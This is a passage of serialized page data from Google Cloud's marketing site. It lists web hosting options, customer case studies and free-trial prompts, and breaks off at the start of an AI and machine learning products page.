tools.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/appengine"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/appengine"],["track-metadata-module","categorization"],["track-metadata-module_headline","app engine"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eModern web applications\u003c/p\u003e"]],[null,[null,"\u003cp\u003eScalable mobile back ends\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAutomatic scaling\u003c/p\u003e"]]]]]]]],true],{"10000":[[["track-metadata-module","categorization"]],191704]}],[5,[[[null,[null,"Need more guidance? Connect with our sales team or a vetted third-party vendor."]]],[[[null,null,[null,"Talk to a Google Cloud sales representative about your specific storage needs."]],[[null,null,"https://cloud.google.com/contact"],"Contact us",3,{"10000":[[["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","conversion"],["track-metadata-module_headline","need more guidance? connect with our sales team or a vetted third-party vendor."],["track-name","contact us"]],192550]}]],[[null,null,[null,"Connect with a third-party vendor for help with implementation, migration, and more."]],[[null,null,"https://cloud.google.com/find-a-partner"],"Find a partner",15,{"10000":[[["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/find-a-partner"],["track-metadata-module","conversion"],["track-metadata-module_headline","need more guidance? connect with our sales team or a vetted third-party vendor."],["track-name","find a partner"]]]}]]]],{"10000":[[["track-metadata-module","conversion"]],191696]}],[69,null,null,[[[[null,[null,"Learn from our customers"]],[[null,null,"https://cloud.google.com/customers#/products\u003dCompute"],"See all customers",14,{"10000":[[["track-metadata-eventdetail","cloud.google.com/customers"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","see all customers"]]]}]]],[[[[[null,"Video"],[null,"Twitter created a hybrid-cloud solution that merged separate compute and storage platforms."],[null,"02:01"]],[[null,null,"https://youtu.be/T1zjmNAuMjs"],null,12,{"10000":[[["track-metadata-child_headline","twitter created a hybrid-cloud solution that merged separate compute and storage platforms."],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","youtu.be/t1zjmnaumjs"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-metadata-video-id","t1zjmnaumjs"],["track-name","twitter created a hybrid-cloud solution that merged separate compute and storage platforms."]],192559]}]],[[null,null,"https://lh3.googleusercontent.com/u4IbWaPUxFM7g0bq9z1V_OwYa9A0SQGnwm-yanNtE7MjfpjootHw62oyPLct0-TZxJe3Nd5yvsoJnw"],null,null,true,null,null,null,null,[null,"Twitter logo"]]],[[[[null,"Case study"],[null,"The Home Depot runs more than 600 projects in Google Cloud."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/featured/the-home-depot"],null,14,{"10000":[[["track-metadata-child_headline","the home depot runs more than 600 projects in google cloud."],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/customers/featured/the-home-depot"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","the home depot runs more than 600 projects in google cloud."]]]}]],[[null,null,"https://lh3.googleusercontent.com/x8B55Hd0FSFMwM1fPN6a3y3w1xQrZdy6QdGyhAcmyfS7B95oRNRwm4Pqr9WTagV2n3SnQySxdeU"],null,null,true,null,null,null,null,[null,"The Home Depot logo"]]],[[[[null,"Case study"],[null,"PayPal increased scale and reach to serve 300 million active accounts in 200 markets."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/featured/paypal"],null,14,{"10000":[[["track-metadata-child_headline","paypal increased scale and reach to serve 300 million active accounts in 200 markets."],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/customers/featured/paypal"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","paypal increased scale and reach to serve 300 million active accounts in 200 markets."]]]}]],[[null,null,"https://lh3.googleusercontent.com/3-uspateLHI9x-rDkpw3I0JutlwWPnmDEHLOSsCH4MRtlBpQLf9UGrOeKUl-M5u4WwLXYLVRJ1AW6g"],null,null,true,null,null,null,null,[null,"PayPal logo"]]]]],{"10000":[[["track-metadata-module","customer"]],191759]}],[4,[[[null,[null,"Take the next step"],[null,"Start building on Google Cloud with $300 in free credits and 20+ always free products."]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","get started for free"]],192548]}]],[[[null,[null,"Need help getting started?"]],[[null,null,"https://cloud.google.com/contact/"],"Contact sales",3,{"10000":[[["track-metadata-child_headline","need help getting started?"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","contact sales"]],192550]}]],[[null,[null,"Work with a trusted partner"]],[[null,null,"https://cloud.google.com/find-a-partner/"],"Find a partner",15,{"10000":[[["track-metadata-child_headline","work with a trusted partner"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/find-a-partner"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","find a partner"]]]}]],[[null,[null,"Continue browsing"]],[[null,null,"https://cloud.google.com/products/"],"See all products",{"10000":[[["track-metadata-child_headline","continue browsing"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/products"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","see all products"]]]}]]]],{"10000":[[["track-metadata-module","ankle"]],191691]}]],[[null,null,[null,"Catch up on the latest product launches, demos, and trainings from Next '23. \u003ca href\u003d\"https://cloud.withgoogle.com/next/hub\"\u003eLet's go\u003c/a\u003e."]]],{"10000":[null,191556]}]]]]]],["/solutions/web-hosting",[[["fte",[[15,["t4AsqhGSTK0V","en","Web Hosting | Google Cloud | Google Cloud","Web hosting services from Google Cloud. Host everything from blogs to dynamic websites in the cloud with Click to Deploy or customized solutions. ","Tiered Wayfinding Template"],[[1,null,[[[null,[null,"Google Cloud web hosting"],[null,"\u003cp\u003eLaunch and learn preconfigured solutions—developed by Google Cloud experts—to help you build retail websites, dynamic web apps, and other web hosting use cases.\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/catalog"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/dynamic-web-app"],["track-metadata-module","hero"],["track-metadata-module_headline","google cloud web hosting"],["track-name","get started for free"]],192548]}]],null,[]],{"10000":[[["track-metadata-module","hero"]],191692]}],[35,null,null,[null,[[[[null,[null,"Deploy a sample website"],[null,"Launch a sample drop-ship retail product website that's publicly accessible and customizable, leveraging Python and Javascript."]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/dynamic-web-app"],{"10000":[[["track-metadata-child_headline","deploy a sample website"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/dynamic-web-app"],["track-metadata-module","featured ctas"],["track-name","deploy a sample website"]]]}]]],[[[null,[null,"Deploy a dynamic web app with Javascript"],[null,"Launch and run a dynamic web app with this interactive solution that deploys a sample application (Developer Journey App) built with Javascript."]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/dynamic-web-app-with-javascript"],{"10000":[[["track-metadata-child_headline","deploy a dynamic web app with javascript"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/dynamic-web-app-with-javascript"],["track-metadata-module","featured ctas"],["track-name","deploy a dynamic web app with javascript"]]]}]]],[[[null,[null,"Deploy a dynamic web app with Java"],[null,"Learn how to quickly build, manage, and deploy a sample web app that mimics a real-world point of sale screen for retailers."]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/dynamic-java-web-application"],{"10000":[[["track-metadata-child_headline","deploy a dynamic web app with java"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/dynamic-java-web-application"],["track-metadata-module","featured ctas"],["track-name","deploy a dynamic web app with java"]]]}]]]]],{"10000":[[["track-metadata-module","featured ctas"]],191725]}],[14,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"Cloud web hosting services"]]],[[null,[null,"Solution type"]],[null,[null,"Products or services"]],[null,[null,"Use cases"]]],[[[[null,[null,"Preconfigured and Click to Deploy"]]],[[null,[[[null,[null,"WordPress on Compute Engine"],[null,"\u003cp\u003eDeploy Wordpress, a website creation and publishing platform, to Google Cloud with a range of hosting options.\u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://console.cloud.google.com/marketplace/details/click-to-deploy-images/wordpress\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/marketplace/details/click-to-deploy-images/wordpress"],null,2,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/marketplace/details/click-to-deploy-images/wordpress"],["track-metadata-module","categorization"],["track-metadata-module_headline","wordpress on compute engine"]],192549]}]],[[null,null,"https://www.gstatic.com/bricks/image/d36a54c9d587cceefc14871289f3a3fca321ec022fe0ced204035002d3398e7f.svg"],null,null,null,null,null,null,null,[null,"Compute Engine icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eBlogs\u003c/p\u003e"]],[null,[null,"\u003cp\u003eSimple websites\u003c/p\u003e"]],[null,[null,"\u003cp\u003eBest for low to medium traffic\u003c/p\u003e"]],[null,[null,"\u003cp\u003eOpen-source content management system\u003c/p\u003e"]]]]],[null,[[[null,[null,"LAMP stack on Compute Engine"],[null,"\u003cp\u003eDeploy a development stack featuring Apache HTTP Server, MySQL, and PHP on Compute Engine. \u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://console.cloud.google.com/marketplace/details/click-to-deploy-images/lamp\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/marketplace/details/click-to-deploy-images/lamp"],null,2,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/marketplace/details/click-to-deploy-images/lamp"],["track-metadata-module","categorization"],["track-metadata-module_headline","lamp stack on compute engine"]],192549]}]],[[null,null,"https://www.gstatic.com/bricks/image/1ddcbf165c112c650eb8aacc17dbaca31bb3ec84955ca139b42d5557cd337dab.svg"],null,null,null,null,null,null,null,[null,"Compute Engine icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eLinux, Apache HTTP Server, MySQL, and PHP\u003c/p\u003e"]],[null,[null,"\u003cp\u003eHost websites and web applications\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDynamic content\u003c/p\u003e"]]]]],[null,[[[null,[null,"Three tier web application"],[null,"\u003cp\u003eDeploy a sample web app for a rich media, ecommerce, or data-backed website with this pre-built three-tiered architecture solution.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions/three-tier-web-app"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions/three-tier-web-app"],["track-metadata-module","categorization"],["track-metadata-module_headline","three tier web application"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mXZW85lU61gMX3PZ7jJsKdQrclMen6U_9d9GkDyytUvUlWVsdhNrulR99ybLOk3jm-5TawAjDOLEvw"],null,null,true,null,null,null,null,[null,"three tier web app"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eRich media website\u003c/p\u003e"]],[null,[null,"\u003cp\u003eData-backed website\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEcommerce website\u003c/p\u003e"]]]]],[null,[[[null,[null,"Dynamic website"],[null,"\u003cp\u003eBuild, deploy, and operate a sample dynamic website using responsive web frameworks.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions/dynamic-website"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions/dynamic-website"],["track-metadata-module","categorization"],["track-metadata-module_headline","dynamic website"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mXZW85lU61gMX3PZ7jJsKdQrclMen6U_9d9GkDyytUvUlWVsdhNrulR99ybLOk3jm-5TawAjDOLEvw"],null,null,true,null,null,null,null,[null,"dynamic"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eDynamic website\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEcommerce website\u003c/p\u003e"]]]]],[null,[[[null,[null,"Ecommerce web app"],[null,"\u003cp\u003eBuild and run a simple ecommerce application for retail organizations.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions/ecommerce-web-app"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions/ecommerce-web-app"],["track-metadata-module","categorization"],["track-metadata-module_headline","ecommerce web app"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mXZW85lU61gMX3PZ7jJsKdQrclMen6U_9d9GkDyytUvUlWVsdhNrulR99ybLOk3jm-5TawAjDOLEvw"],null,null,true,null,null,null,null,[null,"ecommerce web app"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eEcommerce web application \u003c/p\u003e"]],[null,[null,"\u003cp\u003eMicroservice-based ecommerce\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAPI-based, dynamic web application\u003c/p\u003e"]]]]]]],[[[null,[null,"Static websites"]]],[[null,[[[null,[null,"Firebase Hosting"],[null,"\u003cp\u003eDeploy static content to a global CDN with a single command. Get started with the\u003ca href\u003d\"https://firebase.google.com/docs/hosting\"\u003e Firebase Hosting guide\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://firebase.google.com/pricing\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://firebase.google.com/products/hosting"],{"10000":[[["track-metadata-eventdetail","firebase.google.com/products/hosting"],["track-metadata-module","categorization"],["track-metadata-module_headline","firebase hosting"]]]}]],[[null,null,"https://www.gstatic.com/bricks/image/2c60272ef45a0f05c7c9425b503f74792ce7c0be83bc8c6338b6211ca051c5f6.svg"],null,null,null,null,null,null,null,[null,"Firebase icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eEnd-to-end HTTPS serving for custom domains\u003c/p\u003e"]],[null,[null,"\u003cp\u003eWeb apps and static content\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGlobal CDN\u003c/p\u003e"]]]]]]],[[[null,[null,"Dynamic websites"]]],[[null,[[[null,[null,"Cloud Run"],[null,"\u003cp\u003eDevelop and \u003ca href\u003d\"https://codelabs.developers.google.com/codelabs/cloud-run-deploy/index.html?index\u003d..%2F..index#0\"\u003edeploy\u003c/a\u003e your favorite language and framework on a fully managed serverless platform that scales automatically.\u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/run#section-13\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/run"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/run"],["track-metadata-module","categorization"],["track-metadata-module_headline","cloud run"]]]}]],[[null,null,"https://www.gstatic.com/bricks/image/90b3dc820c1eefbb54ebe9d99d8bec78ba0db304eb68b6c3599e3452a45b2896.svg"],null,null,null,null,null,null,null,[null,"Cloud Run icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eGo, Python, Java, Ruby, Node.js, and more\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAccess SQL database on Cloud SQL\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAutoscaled HTTPS endpoint\u003c/p\u003e"]],[null,[null,"\u003cp\u003eFully managed infrastructure\u003c/p\u003e"]]]]],[null,[[[null,[null,"Compute Engine"],[null,"\u003cp\u003eDeploy a complete web-serving stack from\u003ca href\u003d\"https://cloud.google.com/marketplace\"\u003e Google Cloud Marketplace\u003c/a\u003e or\u003ca href\u003d\"https://cloud.google.com/solutions/web-serving-overview#setting_up_manually\"\u003e create your own infrastructure\u003c/a\u003e manually.\u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/compute/all-pricing\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/compute"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/compute"],["track-metadata-module","categorization"],["track-metadata-module_headline","compute engine"]]]}]],[[null,null,"https://www.gstatic.com/bricks/image/41b5f77ad52c47425814ac1a4ba2bf9159d38a91c0d2c02004aa1c5e887953c4.svg"],null,null,null,null,null,null,null,[null,"Compute Engine icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eComplete control and unlimited flexibility\u003c/p\u003e"]],[null,[null,"\u003cp\u003eConfigure servers and virtual machines\u003c/p\u003e"]],[null,[null,"\u003cp\u003eSpecific memory, SSD, and GPU needs\u003c/p\u003e"]]]]]]]],true],{"10000":[[["track-metadata-module","categorization"]],191704]}],[5,[[[null,[null,"Ready to host your website in the cloud? Get started with $300 in free credits."],null,null,[null,"\u003cp\u003eLearn how to \u003ca href\u003d\"https://cloud.google.com/solutions/web-serving-overview\"\u003eserve or migrate\u003c/a\u003e a website or \u003ca href\u003d\"https://cloud.google.com/solutions/web-serving-overview#choosing_an_option\"\u003echoose an option\u003c/a\u003e in our technical article.\u003c/p\u003e"]]],[[[null,null,[null,"Use our free trial to start hosting your website or web app with any Google Cloud product."]],[[null,null,"https://cloud.google.com/free"],"Get started for free",{"10000":[[["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/free"],["track-metadata-module","conversion"],["track-metadata-module_headline","ready to host your website in the cloud? get started with $300 in free credits."],["track-name","get started for free"]]]}]],[[null,null,[null,"Watch an overview on how to build and host a website on Google Cloud."]],[[null,null,"https://www.youtube.com/watch?v\u003dpxp7uYUjH_M\u0026list\u003dPLIivdWyY5sqIOyeovvRapCjXCZykZMLAe\u0026index\u003d1"],"Watch the webinar",12,{"10000":[[["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","conversion"],["track-metadata-module_headline","ready to host your website in the cloud? get started with $300 in free credits."],["track-metadata-video-id","pxp7uyujh m"],["track-name","watch the webinar"]],192559]}]]]],{"10000":[[["track-metadata-module","conversion"]],191696]}],[69,null,null,[[[[null,[null,"Customers using our cloud hosting services"]],[[null,null,"https://cloud.google.com/customers"],"See all customers",14,{"10000":[[["track-metadata-eventdetail","cloud.google.com/customers"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","see all customers"]]]}]]],[[[[[null,"Case study"],[null,"Whisper reduced cloud hosting costs by more than 50%."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/whisper"],null,14,{"10000":[[["track-metadata-child_headline","whisper reduced cloud hosting costs by more than 50%."],["track-metadata-child_index","1"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/whisper"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","whisper reduced cloud hosting costs by more than 50%."]]]}]],[[null,null,"https://lh3.googleusercontent.com/oaH1y5bKHPsg7LLCtUihrZxUoTqCINnBYxA9B-JOnG5pcrfMfVorVja4aZfi6RMS9cDvoCsSaCMo"],null,null,true,null,null,null,null,[null,"Whisper logo"]]],[[[[null,"Case study"],[null,"Cloudways uses Compute Engine to power their web hosting platform."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/cloudways"],null,14,{"10000":[[["track-metadata-child_headline","cloudways uses compute engine to power their web hosting platform."],["track-metadata-child_index","2"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/cloudways"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","cloudways uses compute engine to power their web hosting platform."]]]}]],[[null,null,"https://lh3.googleusercontent.com/nMFDh2RImXj-ZDaJ-oZ3HwqXRmVEkAm_ivaf6fzt_icoUCYNiQrgifpDsIjYOMMmDmF28CNp9iaP"],null,null,true,null,null,null,null,[null,"Cloudways logo"]]],[[[[null,"Case study"],[null,"Esdemarca experienced 100% platform availability during peak web traffic."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/esdemarca"],null,14,{"10000":[[["track-metadata-child_headline","esdemarca experienced 100% platform availability during peak web traffic."],["track-metadata-child_index","3"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/esdemarca"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","esdemarca experienced 100% platform availability during peak web traffic."]]]}]],[[null,null,"https://lh3.googleusercontent.com/644HaeykNIBgyX2IH_er6t2ao2Uh8IfV0AaRZY8jw8n00uGJmQsaSBP6C3yZauFDAU3twZkYhx8"],null,null,true,null,null,null,null,[null,"Esdemarca logo"]]],[[[[null,"Case study"],[null,"Kinsta provides a better blog hosting service with Google Cloud."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/kinsta"],null,14,{"10000":[[["track-metadata-child_headline","kinsta provides a better blog hosting service with google cloud."],["track-metadata-child_index","4"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/kinsta"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","kinsta provides a better blog hosting service with google cloud."]]]}]],[[null,null,"https://lh3.googleusercontent.com/sn63dd0wveXjIyfOos04Ui80yUxFT7zsVcCx4V6LgjYSGTEayTa7TVwfeg7Ioqyj59QrygSY954c"],null,null,true,null,null,null,null,[null,"Kinsta logo"]]]]],{"10000":[[["track-metadata-module","customer"]],191759]}],[4,[[[null,[null,"Take the next step"],[null,"Start building on Google Cloud with $300 in free credits and 20+ always free products."]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","get started for free"]],192548]}]],[[[null,[null,"Need help getting started?"]],[[null,null,"https://cloud.google.com/contact/"],"Contact sales",3,{"10000":[[["track-metadata-child_headline","need help getting started?"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","contact sales"]],192550]}]],[[null,[null,"Work with a trusted partner"]],[[null,null,"https://cloud.withgoogle.com/partners/"],"Find a partner",{"10000":[[["track-metadata-child_headline","work with a trusted partner"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.withgoogle.com/partners"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","find a partner"]]]}]],[[null,[null,"Continue browsing"]],[[null,null,"https://cloud.google.com/products/"],"See all products",{"10000":[[["track-metadata-child_headline","continue browsing"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/products"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","see all products"]]]}]]]],{"10000":[[["track-metadata-module","ankle"]],191691]}]],{"10000":[null,191556]}]]]]]]]]],["variantC",["variantC",[93803233,93804394],["/products/ai","/products/compute","/solutions/web-hosting"],null,[["/products/ai",[[["fte",[[15,["eQEWtBTojpkD","en","AI \u0026 Machine Learning Products \u0026 Services | Google Cloud","Fast, scalable, and easy-to-use AI offerings including AI Platform, video and image analysis, speech recognition, and multi-language processing.","Tiered Wayfinding Template"],[[1,null,[[[null,[null,"AI and machine learning products"],[null,"\u003cp\u003eLaunch and learn pre-configured solutions—developed by Google Cloud experts—to help you summarize documents with generative AI, build image processing pipelines, and other AI use cases.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions#section-3"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions#section-3"],["track-metadata-module","hero"],["track-metadata-module_headline","ai and machine learning products"],["track-name","get started for free"]],192548]}],[[null,null,"https://cloud.google.com/contact"],"Contact sales",3,{"10000":[[["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","hero"],["track-metadata-module_headline","ai and machine learning products"],["track-name","contact sales"]],192550]}]],null,[]],{"10000":[[["track-metadata-module","hero"]],191692]}],[35,null,null,[null,[[[[null,[null,"Summarize large documents with generative AI"],[null,"Deploy a preconfigured solution that uses generative AI to quickly extract text and summarize large documents."]],[[null,null,"https://cloud.google.com/solutions/generative-ai"],{"10000":[[["track-metadata-child_headline","summarize large documents with generative ai"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/solutions/generative-ai"],["track-metadata-module","featured ctas"],["track-name","summarize large documents with generative ai"]]]}]]],[[[null,[null,"Deploy an AI/ML image processing pipeline"],[null,"Launch a preconfigured, interactive solution that uses pre-trained machine learning models to analyze images and generate image annotations."]],[[null,null,"https://cloud.google.com/solutions/image-processing"],{"10000":[[["track-metadata-child_headline","deploy an ai/ml image processing pipeline"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/solutions/image-processing"],["track-metadata-module","featured ctas"],["track-name","deploy an ai/ml image processing pipeline"]]]}]]],[[[null,[null,"Explore common Generative AI use cases"],[null,"Build generative AI applications quickly, efficiently, and responsibly, powered by Google’s advanced technology."]],[[null,null,"https://cloud.google.com/use-cases/generative-ai"],{"10000":[[["track-metadata-child_headline","explore common generative ai use cases"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/use-cases/generative-ai"],["track-metadata-module","explore common generative ai use cases"],["track-name","responsible ai"]]]}]]]]],{"10000":[[["track-metadata-module","featured ctas"]],191725]}],[14,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"Products, solutions, and services"]]],[[null,[null,"Use Case"]],[null,[null,"Products and solutions "]],[null,[null,"Good for"]]],[[[[null,[null,"Generative AI"]]],[[null,[[[null,[null,"Generative AI on Vertex AI"],[null,"\u003cp\u003eA Vertex AI tool for rapidly prototyping and testing generative AI models. Test sample prompts, design your own prompts, and customize foundation models and LLMs to handle tasks that meet your application's needs.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/generative-ai-studio"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/generative-ai-studio"],["track-metadata-module","categorization"],["track-metadata-module_headline","generative ai on vertex ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003ePrompt design and tuning with an easy-to-use interface \u003c/p\u003e"]],[null,[null,"\u003cp\u003eCode completion and generation with Codey\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGenerating and customizing images with Imagen\u003c/p\u003e"]],[null,[null,"\u003cp\u003eUniversal speech models\u003c/p\u003e"]]]]],[null,[[[null,[null,"Vertex AI Search and Conversation "],[null,"\u003cp\u003eProvides step-by-step orchestration of enterprise search and conversational applications with pre-built workflows for common tasks like onboarding, data ingestion, and customization, making it easy for developers to set up and deploy their apps.\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/generative-ai-app-builder"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/generative-ai-app-builder"],["track-metadata-module","categorization"],["track-metadata-module_headline","vertex ai search and conversation"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eBuilding a Google-quality search app on your own data\u003c/p\u003e"]],[null,[null,"\u003cp\u003eBuilding multimodal apps that can respond with text, images, and other media\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGenerative AI-powered summarization\u003c/p\u003e"]]]]],[null,[[[null,[null,"Generative AI Document Summarization"],[null,"\u003cp\u003eThe one-click solution establishes a pipeline that extracts text from PDFs, creates a summary from the extracted text with Vertex AI Generative AI Studio, and stores the searchable summary in a BigQuery database.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/ai-ml/generative-ai-document-summarization"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/architecture/ai-ml/generative-ai-document-summarization"],["track-metadata-module","categorization"],["track-metadata-module_headline","generative ai document summarization"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eProcess and summarize large documents using Vertex AI LLMs\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDeploy an application that orchestrates the documentation summarization process\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTrigger the pipeline with a PDF upload and view a generated summary\u003c/p\u003e"]]]]]]],[[[null,[null,"Machine learning and MLOPs"]]],[[null,[[[null,[null,"Vertex AI Platform "],[null,"\u003cp\u003eA single platform for data scientists and engineers to create, train, test, monitor, tune, and deploy ML and AI models. Choose from 80+ models in Vertex's \u003ca href\u003d\"https://cloud.google.com/model-garden\"\u003eModel Garden\u003c/a\u003e, including Palm 2 and open source models like Stable Diffusion, BERT, T-5. \u003c/p\u003e"]],[[null,null,"/vertex-ai/"],{"10000":[[["track-metadata-eventdetail","vertex-ai"],["track-metadata-module","categorization"],["track-metadata-module_headline","vertex ai platform"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eCustom ML training\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTraining models with minimal ML expertise\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTesting, monitoring, and tuning ML models \u003c/p\u003e"]],[null,[null,"\u003cp\u003eDeploying 100+ models including multimodal and foundation models like Palm 2\u003c/p\u003e"]]]]],[null,[[[null,[null,"Vertex AI Notebooks"],[null,"\u003cp\u003eChoose from \u003ca 